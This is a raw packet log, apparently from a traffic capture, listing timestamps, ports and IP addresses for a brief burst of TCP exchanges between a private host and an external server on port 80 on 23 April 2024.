Apr 23, 2024 09:38:11.825928926 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825937033 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825946093 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825952053 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825962067 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825968981 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825978041 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825987101 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.825994015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.825999022 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826009035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826018095 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826025009 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826034069 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826040030 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826045036 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826056004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826064110 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826072931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826086998 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826087952 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826102972 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826112032 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826118946 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826128960 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826134920 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826150894 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826158047 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826165915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826172113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826181889 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826195955 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826198101 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826209068 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826214075 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826224089 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826230049 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826245070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826246023 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826258898 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826268911 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826270103 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826284885 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826287985 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826301098 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826308012 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826318026 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826319933 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826334953 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826338053 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826350927 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826353073 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826366901 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826370001 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826384068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826386929 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826400042 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826404095 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826415062 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826416969 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826435089 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826437950 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826451063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826456070 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826467991 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826472998 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826484919 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826488972 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826500893 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826503038 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826518059 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826519966 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826534986 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826538086 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826550961 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826550961 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826567888 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826570034 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826584101 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826600075 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826601982 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826615095 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826617956 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826636076 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826642036 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826652050 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826668024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826669931 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826675892 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826683998 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826693058 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826699018 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826710939 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826714993 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826723099 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826730967 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826740980 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826746941 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826756954 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826764107 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826769114 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826781034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826787949 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826797009 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826806068 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826812983 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826822042 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826829910 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826836109 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826845884 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826854944 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826863050 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826870918 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826879025 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826888084 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826895952 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826900005 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826914072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826922894 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826930046 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826931000 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826944113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826946974 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826962948 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826967001 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826977968 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.826978922 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.826994896 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827011108 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827023983 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827027082 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827043056 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827052116 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827058077 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827064037 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827074051 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827090025 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827090979 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827106953 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827114105 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827122927 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827136040 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827155113 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827178001 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827178001 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827194929 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827197075 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827214003 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827229977 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827233076 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827261925 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827280045 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827411890 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827429056 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827447891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827456951 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827472925 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827474117 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827490091 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827491999 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827506065 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827507019 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827521086 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827523947 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827537060 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827539921 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827553034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827557087 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827569008 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827573061 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827584982 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827590942 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827600956 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827600956 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827616930 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827620029 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827632904 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827634096 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827649117 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827651024 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827663898 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827670097 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827680111 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827682018 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827694893 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827698946 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827712059 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827716112 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827728033 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827728987 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827739954 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827744007 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827759981 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827761889 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827775955 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827790976 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827799082 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827806950 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827816010 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827822924 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827837944 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827846050 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827853918 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827863932 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827871084 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827887058 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827887058 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827903032 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827909946 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827919006 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827934980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827935934 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827950954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827958107 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827966928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827982903 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.827982903 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.827999115 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828006983 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828015089 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828027964 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828031063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828044891 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828047037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828058004 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828064919 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828074932 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828079939 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828085899 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828095913 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828109980 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828116894 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828121901 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828136921 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828139067 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828152895 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828155994 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828169107 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828170061 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828185081 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828186989 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828200102 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828201056 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828218937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828219891 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828233957 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828234911 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828250885 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828250885 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828267097 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828270912 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828280926 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828283072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828298092 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828299999 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828315020 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828318119 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828330994 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828331947 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828349113 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828351021 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828366041 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828382015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828388929 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828397989 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828398943 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828413963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828424931 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828429937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828444958 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828449011 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828460932 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828469992 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828476906 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828493118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828494072 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828510046 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828516006 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828525066 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828538895 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828541994 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828551054 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828557014 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828568935 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828572989 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828581095 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828588963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828598022 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828604937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828609943 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828620911 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828630924 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828636885 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828643084 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828653097 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828660965 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828669071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828677893 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828685045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828691006 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828701019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828710079 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828716993 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828722954 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828733921 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828741074 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828749895 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828758001 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828766108 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828771114 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828783035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828789949 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828799963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828803062 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828815937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828820944 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828840017 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828843117 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828855038 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828860998 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828876019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828881025 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828892946 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828908920 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828910112 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828923941 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828923941 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828939915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828949928 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828955889 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828972101 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.828977108 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.828988075 CEST	80	49735	185.172.128.228	192.168.2.4
